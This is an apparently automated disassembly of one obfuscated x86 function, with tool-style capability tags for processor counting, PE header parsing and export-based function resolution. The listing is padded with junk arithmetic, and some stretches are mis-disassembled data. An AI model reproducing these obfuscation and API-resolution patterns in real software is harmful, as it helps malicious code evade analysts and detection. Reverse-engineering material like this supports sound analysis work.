Function at 0x401514
Capabilities:
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
inc ebp
pop edx
push edi
xor edi, 0x12fc6
sub edi, 0x212f
add edi, 0x11146
jmp 0x4014bd
pop edi
push ebx
add ebx, 0x12d3c
pop ebx
imul edx, dword [ebp - 0x1060], 0x70
add edx, 0x44f3663b
imul eax, dword [ebp - 0x1060], 0x70
sub edx, eax
xor edx, 0xaa6272
imul edx, dword [ebp - 0x1060]
imul ecx, dword [ebp - 0x1060], 0x70
sub edx, ecx
mov dword [ebp - 0x1064], edx
push edi
or edi, 0x60e3
pop edi
push edx
or edx, 0xc2c4
call 0x401514
add byte [0x39334046], bh
cmp al, byte [ebp - 0x7d]
les eax, [edx + ebx*2]
push edx
push edx
add esp, 4
or edx, 0xb790
or edx, 0x5b3b
pop edx
mov dword [ebp - 0x10], 1
push eax
or eax, 0x16d12
or eax, 0x15f6c
and eax, 0xfe59
pop eax
push ecx
jmp 0x40154f
pop ecx
push ebx
jmp 0x40155a
pop ebx
push ecx
sub ecx, 0x17182
pop ecx
imul edx, dword [ebp - 0x10], 0x70
add edx, 0x44f3663b
imul eax, dword [ebp - 0x10], 0x70
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0x70
sub edx, ecx
mov dword [ebp - 0x14], edx
push ebx
push ebx
add esp, 4
xor ebx, 0xd78d
and ebx, 0x2065
pop ebx
push edx
push esi
add esp, 4
or edx, 0x18305
pop edx
push edi
add edi, 0xd9fe
sub edi, 0x181bf
or edi, 0x304f
pop edi
push esi
push edx
add esp, 4
and esi, 0x1178a
add esi, 0x1309c
pop esi
push eax
push edi
add esp, 4
and eax, 0xc76e
sub eax, 0x16225
jmp 0x4015e3
xor eax, 0xf421
pop eax
mov dword [ebp - 0x2c], 1
push edx
push esi
add esp, 4
and edx, 0xd723
sub edx, 0x158f7
xor edx, 0x17ae5
and edx, 0xf43
pop edx
push eax
sub eax, 0x17a7e
xor eax, 0x18378
add eax, 0x814a
pop eax
imul edx, dword [ebp - 0x2c], 0x70
add edx, 0x44f3663b
imul eax, dword [ebp - 0x2c], 0x70
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x70
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x4017e0
mov ecx, dword [ebp - 0x1064]
mov edx, dword [ebp - 0x1060]
mov dword [ebp - 0x1634], ecx
mov dword [ebp - 0x1630], edx
push ebx
push edi
add esp, 4
sub ebx, 0xe81e
add ebx, 0x166e7
or ebx, 0x873
and ebx, 0xa8f1
pop ebx
push esi
sub esi, 0x1486a
or esi, 0xa13e
add esi, 0x15552
pop esi
push ecx
push esi
add esp, 4
or ecx, 0xf2f2
and ecx, 0x1271
or ecx, 0x8a7
pop ecx
push esi
xor esi, 0x1f19
add esi, 0xd1d3
sub esi, 0x8762
and esi, 0x1554a
pop esi
mov eax, dword [ebp - 0x30]
add eax, 0x70
imul ecx, dword [ebp - 0x2c], 0x70
add ecx, 0x44f3663b
imul edx, dword [ebp - 0x2c], 0x70
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1e80], eax
push esi
or esi, 0x218a
sub esi, 0x3d0e
sub esi, 0x11c52
pop esi
push edx
call 0x4018a3
add byte [ebx], dh
inc ebp
dec esp
cmp dword [esi + 0x4a], ecx
dec ebx
inc edi
push eax
dec ebx
add esp, 4
jmp 0x4018af
pop edx
mov eax, dword [ebp - 0x1634]
add eax, 0x70
imul ecx, dword [ebp - 0x1630], 0x70
add ecx, 0x44f3663b
imul edx, dword [ebp - 0x1630], 0x70
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x1630]
mov dword [ebp - 0x1e7c], eax
mov eax, dword [ebp - 0x1e7c]
mov dword [ebp - 0x1e84], eax
mov ecx, dword [ebp - 0x1e80]
cmp ecx, dword [ebp - 0x1e84]
jae 0x401904
mov dword [ebp - 0x15a4], 1
jmp 0x40190e
mov dword [ebp - 0x15a4], 0
mov dl, byte [ebp - 0x15a4]
mov byte [ebp - 0x3ad], dl
movzx eax, byte [ebp - 0x3ad]
test eax, eax
je 0x4046ed
push edx
or edx, 0x16677
add edx, 0x65f5
xor edx, 0x1344c
call 0x40194b
add byte [ecx + 0x36], cl
xor esi, dword [ebx]
cmp eax, 0x4a3f4f36
add esp, 4
pop edx
push ebx
push ebx
add esp, 4
sub ebx, 0xd0b4
pop ebx
push edx
add edx, 0x11a2b
pop edx
push ebx
push edx
add esp, 4
sub ebx, 0xbf1d
pop ebx
push edx
push ecx
add esp, 4
add edx, 0xdbfd
jmp 0x401980
or edx, 0x11d3d
and edx, 0x727c
pop edx
mov ecx, dword [ebp - 0x30]
add ecx, 0x70
imul edx, dword [ebp - 0x2c], 0x70
add edx, 0x44f3663b
imul eax, dword [ebp - 0x2c], 0x70
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1e88], ecx
mov ecx, dword [ebp - 0x1e88]
mov dword [ebp - 0x1e8c], ecx
cmp dword [ebp - 0x1e8c], 0x63c1
jne 0x401aed
push eax
push esi
add esp, 4
sub eax, 0x1780b
add eax, 0x1071d
xor eax, 0xf2a8
pop eax
push ecx
push edi
add esp, 4
jmp 0x4019ee
add ecx, 0xaa1d
pop ecx
push edi
add edi, 0xdb71
pop edi
mov edx, dword [ebp - 0x14]
add edx, 0x70
imul eax, dword [ebp - 0x10], 0x70
add eax, 0x44f3663b
imul ecx, dword [ebp - 0x10], 0x70
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x1e90], edx
mov edx, dword [ebp - 0x1e90]
mov dword [ebp - 0x1e94], edx
mov eax, dword [ebp - 0x1e94]
sub eax, 0x898
mov dword [ebp - 0x1e98], eax
mov dword [ebp - 0x1068], 1
push eax
push esi
add esp, 4
add eax, 0xbb4c
call 0x401a5f
add byte [ebx], bh
inc esp
dec eax
cmp edi, dword [ebx]
inc ebp
dec eax
add esp, 4
or eax, 0x13ba
add eax, 0x400d
pop eax
push edx
jmp 0x401a76
pop edx
imul ecx, dword [ebp - 0x1068], 0x70
add ecx, 0x44f3663b
imul edx, dword [ebp - 0x1068], 0x70
sub ecx, edx
xor ecx, dword [ebp - 0x1e98]
imul ecx, dword [ebp - 0x1068]
imul eax, dword [ebp - 0x1068], 0x70
sub ecx, eax
mov dword [ebp - 0x106c], ecx
mov ecx, dword [ebp - 0x106c]
mov edx, dword [ebp - 0x1068]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
push edx
push edi
add esp, 4
call 0x401acf
add byte [esi + ecx*2 + 0x4c], cl
cmp al, byte [ebp + 0x43]
dec ecx
inc ebx
cmp byte [ebx - 0xd7efb3c], al
test byte ss:[eax], al
add byte [ecx + 0xec66c2], al
add byte [ecx + 0x85a8e2], al
add byte [edx + 0x57], bl
add edi, 0x7999
pop edi
push edi
push edx
add esp, 4
and edi, 0x9ebe
and edi, 0x13ffb
add edi, 0x11a90
pop edi
push edi
or edi, 0x173c9
pop edi
push ecx
push esi
add esp, 4
sub ecx, 0x1583a
add ecx, 0x955b
pop ecx
mov eax, dword [ebp - 0x14]
add eax, 0x70
imul ecx, dword [ebp - 0x10], 0x70
add ecx, 0x44f3663b
imul edx, dword [ebp - 0x10], 0x70
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x10]
mov dword [ebp - 0x1e9c], eax
mov eax, dword [ebp - 0x1e9c]
mov dword [ebp - 0x1f0c], eax
lea ecx, [ebp - 0x9ac]
mov dword [ebp - 0x3e0], ecx
mov edx, dword [ebp - 0x3e0]
mov dword [edx + 4], 1
push edx
or edx, 0x17304
pop edx
push ebx
push eax
add esp, 4
or ebx, 0xb7be
sub ebx, 0xeea2
pop ebx
push edx
push edi
add esp, 4
or edx, 0xe0c6
sub edx, 0x1237a
sub edx, 0x17573
pop edx
mov eax, dword [ebp - 0x3e0]
imul ecx, dword [eax + 4], 0x70
add ecx, 0x44f3663b
mov edx, dword [ebp - 0x3e0]
imul eax, dword [edx + 4], 0x70
sub ecx, eax
xor ecx, 0x23
mov edx, dword [ebp - 0x3e0]
imul ecx, dword [edx + 4]
mov eax, dword [ebp - 0x3e0]
imul edx, dword [eax + 4], 0x70
sub ecx, edx
mov eax, dword [ebp - 0x3e0]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x3e0]
mov dword [ebp - 0x20a0], ecx
push eax
xor eax, 0xf6e9
or eax, 0x9bb6
pop eax
push edi
sub edi, 0x16aee
call 0x401c03
add byte [esi], dh
xor edi, dword ds:[esi]
inc ecx
push eax
inc esi
add esp, 4
pop edi
push edx
push edi
add esp, 4
xor edx, 0xa8f5
pop edx
mov dword [ebp - 0x15ac], 1
push ebx
push ecx
add esp, 4
or ebx, 0xdb5a
pop ebx
push edx
push esi
add esp, 4
and edx, 0x1880
sub edx, 0x16f86
xor edx, 0x47aa
and edx, 0x8da
pop edx
push ebx
or ebx, 0xeb41
pop ebx
mov dword [ebp - 0x20a4], 0x38
mov dword [ebp - 0x20a8], 0xe6
mov dword [ebp - 0x20ac], 0x6e
mov dword [ebp - 0x20b0], 0x6e
mov dword [ebp - 0x20b4], 0x78
mov dword [ebp - 0x1638], 1
push ebx
call 0x401c99
add byte [ebx + 0x39], al
dec esi
xor esi, dword ds:[ebx]
dec ebp
add esp, 4
pop ebx
push ecx
push esi
add esp, 4
and ecx, 0x8223
sub ecx, 0x16a36
or ecx, 0x13882
pop ecx
push esi
sub esi, 0x9e3
pop esi
imul edx, dword [ebp - 0x1638], 0x70
add edx, 0x44f3663b
imul eax, dword [ebp - 0x1638], 0x70
sub edx, eax
xor edx, 0xe6
imul edx, dword [ebp - 0x1638]
imul ecx, dword [ebp - 0x1638], 0x70
sub edx, ecx
mov dword [ebp - 0x163c], edx
push eax
push esi
add esp, 4
xor eax, 0x17180
add eax, 0x10e0f
add eax, 0x16dad
pop eax
push edx
sub edx, 0x5e83
jmp 0x401d14
and edx, 0xe7a9
sub edx, 0x82e3
pop edx
push ecx
push ecx
add esp, 4
sub ecx, 0x562e
and ecx, 0xf091
sub ecx, 0x71d0
sub ecx, 0xdcae
pop ecx
push eax
xor eax, 0xabec
xor eax, 0x694b
or eax, 0x16f67
pop eax
mov edx, dword [ebp - 0x9ac]
add edx, 0x70
imul eax, dword [ebp - 0x9a8], 0x70
add eax, 0x44f3663b
imul ecx, dword [ebp - 0x9a8], 0x70
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x9a8]
mov dword [ebp - 0x1ea0], edx
mov edx, dword [ebp - 0x1ea0]
mov dword [ebp - 0x1ea4], edx
mov eax, dword [ebp - 0x1ea4]
sub eax, 0x6e
mov dword [ebp - 0x1eac], eax
mov dword [ebp - 0xa74], 1
push edi
add edi, 0x146f4
and edi, 0x31ea
add edi, 0xa519
and edi, 0x2293
pop edi
push eax
push ecx
add esp, 4
or eax, 0xe7dd
and eax, 0x15a56
xor eax, 0xe129
pop eax
imul ecx, dword [ebp - 0xa74], 0x70
add ecx, 0x44f3663b
imul edx, dword [ebp - 0xa74], 0x70
sub ecx, edx
xor ecx, dword [ebp - 0x1eac]
imul ecx, dword [ebp - 0xa74]
imul eax, dword [ebp - 0xa74], 0x70
sub ecx, eax
mov dword [ebp - 0xa78], ecx
push esi
push eax
add esp, 4
call 0x401e1a
add byte [eax + 0x3f], al
dec ebx
cmp byte [eax + 0x48], al
add esp, 4
jmp 0x401e22
xor esi, 0xa132
call 0x401e37
add byte [edx + 0x3d], cl
aas
push eax
cmp eax, 0x463b3d4f
add esp, 4
pop esi
mov ecx, dword [ebp - 0x9ac]
add ecx, 0x70
imul edx, dword [ebp - 0x9a8], 0x70
add edx, 0x44f3663b
imul eax, dword [ebp - 0x9a8], 0x70
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x9a8]
mov dword [ebp - 0x1eb0], ecx
mov ecx, dword [ebp - 0x1eb0]
mov dword [ebp - 0x1eb4], ecx
mov edx, dword [ebp - 0x1eb4]
add edx, 0x38
mov dword [ebp - 0x1eb8], edx
mov dword [ebp - 0xa7c], 1
push ebx
push edi
add esp, 4
sub ebx, 0x14dc9
and ebx, 0x109cd
xor ebx, 0x15d39
or ebx, 0xd25e
pop ebx
push edx
or edx, 0x1d8b
sub edx, 0x169ab
xor edx, 0x14bdc
pop edx
imul eax, dword [ebp - 0xa7c], 0x70
add eax, 0x44f3663b
imul ecx, dword [ebp - 0xa7c], 0x70
sub eax, ecx
xor eax, dword [ebp - 0x1eb8]
imul eax, dword [ebp - 0xa7c]
imul edx, dword [ebp - 0xa7c], 0x70
sub eax, edx
mov dword [ebp - 0xa80], eax
push edi
push ecx
add esp, 4
and edi, 0xef8f
pop edi
push eax
jmp 0x401f03
and eax, 0x2778
add eax, 0x223b
pop eax
push esi
sub esi, 0x264e
or esi, 0x10c16
jmp 0x401f22
pop esi
push esi
push ecx
add esp, 4
xor esi, 0x108a0
pop esi
push esi
sub esi, 0x24d5
jmp 0x401f3c
pop esi
push edi
push edi
add esp, 4
sub edi, 0x125db
pop edi
push ebx
push edx
add esp, 4
sub ebx, 0x3513
pop ebx
mov dword [ebp - 0x2f0], 1
push ebx
and ebx, 0xfc65
pop ebx
push edx
push edx
add esp, 4
xor edx, 0x8871
call 0x401f81
add byte [eax + 0x4a], al
cmp eax, dword [ebx + 0x37]
dec edi
cmp dword ss:[ebx + eax*4 - 0x3c], eax
add al, 0x81
retf 0x4a34
mov dword [ebp - 0x3f0], 0
call 0x4046fc
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3f0], eax
push ecx
push eax
add esp, 4
add ecx, 0xf350
or ecx, 0x9138
or ecx, 0x1547f
pop ecx
push esi
call 0x40472e
add byte [edi + 0x4c], al
xor al, 0x37
xor al, byte [edi + 0x4e]
add esp, 4
pop esi
push ecx
xor ecx, 0x1228d
pop ecx
mov ecx, dword [ebp - 0x20e8]
mov dword [ebp - 0x15c0], ecx
push edx
and edx, 0x4113
add edx, 0x1abd
add edx, 0x18318
call 0x404766
add byte [ebx], dh
push eax
aaa
dec edi
aaa
inc esp
inc edi
add esp, 4
pop edx
push esi
jmp 0x404771
xor esi, 0x172d9
pop esi
mov edx, dword [ebp - 0x14]
add edx, 0x70
imul eax, dword [ebp - 0x10], 0x70
add eax, 0x44f3663b
imul ecx, dword [ebp - 0x10], 0x70
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x15c0], edx
mov edx, dword [ebp - 0x3f0]
mov dword [ebp - 0x204c], edx
mov eax, dword [ebp - 0x204c]
add eax, dword [ebp - 0x15c0]
mov dword [ebp - 0x3f0], eax
push edx
push eax
add esp, 4
jmp 0x4047c4
pop edx
push esi
or esi, 0x1473e
or esi, 0xe74
pop esi
push esi
xor esi, 0x105c0
or esi, 0x17d0e
pop esi
push eax
or eax, 0x146e2
pop eax
mov byte [ebp - 0xbec], 0x52
mov byte [ebp - 0xbeb], 0xb9
mov byte [ebp - 0xbea], 0x10
mov byte [ebp - 0xbe9], 0x10
mov byte [ebp - 0xbe8], 0x10
mov byte [ebp - 0xbe7], 0x10
mov byte [ebp - 0xbe6], 0x5a
push ebx
push edx
add esp, 4
sub ebx, 0x14b4d
pop ebx
push ecx
jmp 0x40482c
call 0x40483c
add byte [0x344c3b34], dh
dec eax
dec eax
inc ebx
inc edi
add esp, 4
xor ecx, 0x1724f
xor ecx, 0x7d2
pop ecx
mov byte [ebp - 0xbe4], 0x52
mov byte [ebp - 0xbe3], 0xb9
mov byte [ebp - 0xbe2], 0x20
mov byte [ebp - 0xbe1], 0x20
mov byte [ebp - 0xbe0], 0x20
mov byte [ebp - 0xbdf], 0x20
mov byte [ebp - 0xbde], 0x5a
push ecx
push edx
add esp, 4
call 0x404891
add byte [ecx + 0x44], al
inc edi
xor al, 0x39
xor al, 0x38
cmp bh, byte [esi]
add esp, 4
pop ecx
push edi
and edi, 0xe501
and edi, 0x11f26
xor edi, 0x230e
and edi, 0x14438
pop edi
mov dword [ebp - 0x20ec], 0xe
push ebx
push edx
add esp, 4
add ebx, 0x1573b
jmp 0x4048c9
add ebx, 0x1c8e
jmp 0x4048d6
pop ebx
push esi
push ebx
add esp, 4
and esi, 0x11443
pop esi
push edi
xor edi, 0x609f
pop edi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbec]
mov dword [ebp - 0x15c4], eax
push eax
push edi
add esp, 4
or eax, 0xf9bf
add eax, 0xbe0c
add eax, 0x1666b
pop eax
push edi
add edi, 0x4c53
add edi, 0x11a05
xor edi, 0xae5a
add edi, 0x1407f
pop edi
mov dword [ebp - 0x20f0], 0xffffffff
push eax
and eax, 0xf048
jmp 0x40494a
jmp 0x404951
pop eax
push esi
sub esi, 0x20d5
or esi, 0x17c0
add esi, 0x181e1
pop esi
push ecx
and ecx, 0x13327
pop ecx
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x4fc], ecx
jmp 0x40498b
mov edx, dword [ebp - 0x4fc]
add edx, 1
mov dword [ebp - 0x4fc], edx
push esi
or esi, 0xbb85
and esi, 0xa83d
add esi, 0x141cc
call 0x4049ac
add byte [esi + 0x4d], cl
cmp dword [ecx + 0x43], ecx
inc eax
dec esi
aaa
add esp, 4
pop esi
push eax
jmp 0x4049b6
and eax, 0xe934
pop eax
mov eax, dword [ebp - 0x4fc]
sub eax, dword [ebp - 0x3f0]
cmp eax, 0xffffffff
jb 0x404a05
push edi
push ebx
add esp, 4
add edi, 0x678a
pop edi
push edi
sub edi, 0x14f8d
pop edi
push edx
and edx, 0x6b46
and edx, 0xd466
pop edx
push ebx
jmp 0x4049f9
and ebx, 0xbbfa
pop ebx
jmp 0x404c33
mov dword [ebp - 0xc80], 7
mov ecx, dword [ebp - 0x4fc]
mov dword [ebp - 0xac4], ecx
push ecx
push ecx
add esp, 4
sub ecx, 0x5da5
add ecx, 0x7816
pop ecx
push eax
sub eax, 0x3a4e
sub eax, 0xa04
add eax, 0x133e9
pop eax
push eax
push edi
add esp, 4
add eax, 0x84ea
pop eax
mov edx, dword [ebp - 0x15c4]
mov dword [ebp - 0xa60], edx
mov dword [ebp - 0xc84], 0
mov eax, dword [ebp - 0x4fc]
cmp eax, dword [ebp - 0x15c4]
jne 0x404ab4
push esi
push esi
add esp, 4
and esi, 0xe121
pop esi
push edi
xor edi, 0x15800
add edi, 0x100e4
pop edi
push ecx
push ebx
add esp, 4
sub ecx, 0x1489a
sub ecx, 0x136bb
or ecx, 0x506d
pop ecx
mov ecx, dword [ebp - 0xc84]
mov dword [ebp - 0x15cc], ecx
jmp 0x404be5
cmp dword [ebp - 0xc80], 0
jle 0x404bd9
push ebx
push edx
add esp, 4
call 0x404ad5
add byte [ebx + 0x46], al
inc esi
cmp byte [ecx], bh
dec esi
aas
dec ebp
xor eax, dword [ebx - 0x3c7efb3c]
stosd dword es:[edi], eax
and byte [ecx], al
add byte [ebx + 0x53], bl
or ebx, 0x735d
and ebx, 0x15257
add ebx, 0x5efa
pop ebx
mov edx, dword [ebp - 0xac4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa60]
movzx edx, byte [ecx]
cmp eax, edx
je 0x404b75
push ecx
push esi
add esp, 4
and ecx, 0xe4cc
sub ecx, 0xdaeb
or ecx, 0xe965
xor ecx, 0xb7a0
pop ecx
push edx
or edx, 0x1299
pop edx
push edx
push edx
add esp, 4
or edx, 0x12905
pop edx
mov eax, dword [ebp - 0xac4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x404b5d
mov dword [ebp - 0x15c8], 1
jmp 0x404b67
mov dword [ebp - 0x15c8], 0xffffffff
mov ecx, dword [ebp - 0x15c8]
mov dword [ebp - 0xc84], ecx
jmp 0x404bd9
push edx
add edx, 0x14212
and edx, 0x11576
xor edx, 0x2f86
pop edx
push edi
jmp 0x404b92
pop edi
push edi
and edi, 0xa81d
sub edi, 0xb378
or edi, 0x2b0d
pop edi
mov edx, dword [ebp - 0xc80]
sub edx, 1
mov dword [ebp - 0xc80], edx
mov eax, dword [ebp - 0xac4]
add eax, 1
mov dword [ebp - 0xac4], eax
mov ecx, dword [ebp - 0xa60]
add ecx, 1
mov dword [ebp - 0xa60], ecx
jmp 0x404ab4
mov edx, dword [ebp - 0xc84]
mov dword [ebp - 0x15cc], edx
cmp dword [ebp - 0x15cc], 0
jne 0x404c2e
push esi
and esi, 0x7e9
or esi, 0x165c9
pop esi
push edi
push edi
add esp, 4
sub edi, 0x33bf
sub edi, 0xe19f
pop edi
push edx
push esi
add esp, 4
add edx, 0x42a1
xor edx, 0xe579
pop edx
mov eax, dword [ebp - 0x4fc]
mov dword [ebp - 0x3e8], eax
jmp 0x404c6f
jmp 0x40497c
push edi
push edi
add esp, 4
add edi, 0x27ac
call 0x404c4e
add byte [edi + 0x4e], al
xor cl, byte [ebx + 0x3d]
inc edx
xor eax, 0x83384133
les eax, [eax + ebp*8]
or eax, dword [eax]
add byte [eax], al
add byte [ebx], bh
dec ebp
cmp eax, 0x36493649
xor bh, byte [edx]
inc edx
add esp, 4
pop edi
mov dword [ebp - 0x3e8], 0
push ebx
or ebx, 0xe540
or ebx, 0x1f84
pop ebx
push eax
add eax, 0x127cf
and eax, 0x5616
jmp 0x404c90
call 0x404c9d
add byte [edx], bh
dec ebx
dec esp
xor cl, byte [ebp + 0x3c]
add esp, 4
pop eax
push esi
push ebx
add esp, 4
and esi, 0x3ceb
pop esi
push ecx
push ebx
add esp, 4
sub ecx, 0xbf02
xor ecx, 0x89c1
pop ecx
push edx
call 0x404ccf
add byte [edi + 0x43], cl
dec eax
xor al, 0x4b
inc esi
cmp eax, 0x4c48336
pop edx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbe4]
mov dword [ebp - 0x15d0], eax
push eax
push ebx
add esp, 4
add eax, 0xf29d
xor eax, 0x885b
pop eax
push esi
call 0x404d0a
add byte [ebx + edi], bh
cmp eax, 0x36393835
dec edx
inc esi
add esp, 4
xor esi, 0x5498
and esi, 0xe1fb
pop esi
mov dword [ebp - 0x20f4], 0xffffffff
push ebx
sub ebx, 0x1556f
pop ebx
push eax
call 0x404d39
add byte [edx + 0x43], al
cmp eax, 0x83424933
les eax, [ecx + eax*4]
loopne 0x404d5c
pop es
add byte [eax], al
call 0x404d52
add byte [esp + esi + 0x50], al
inc esi
dec ebp
dec eax
inc ebx
xor cl, byte [ebx + 0x40]
add esp, 4
pop eax
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x500], ecx
jmp 0x404d73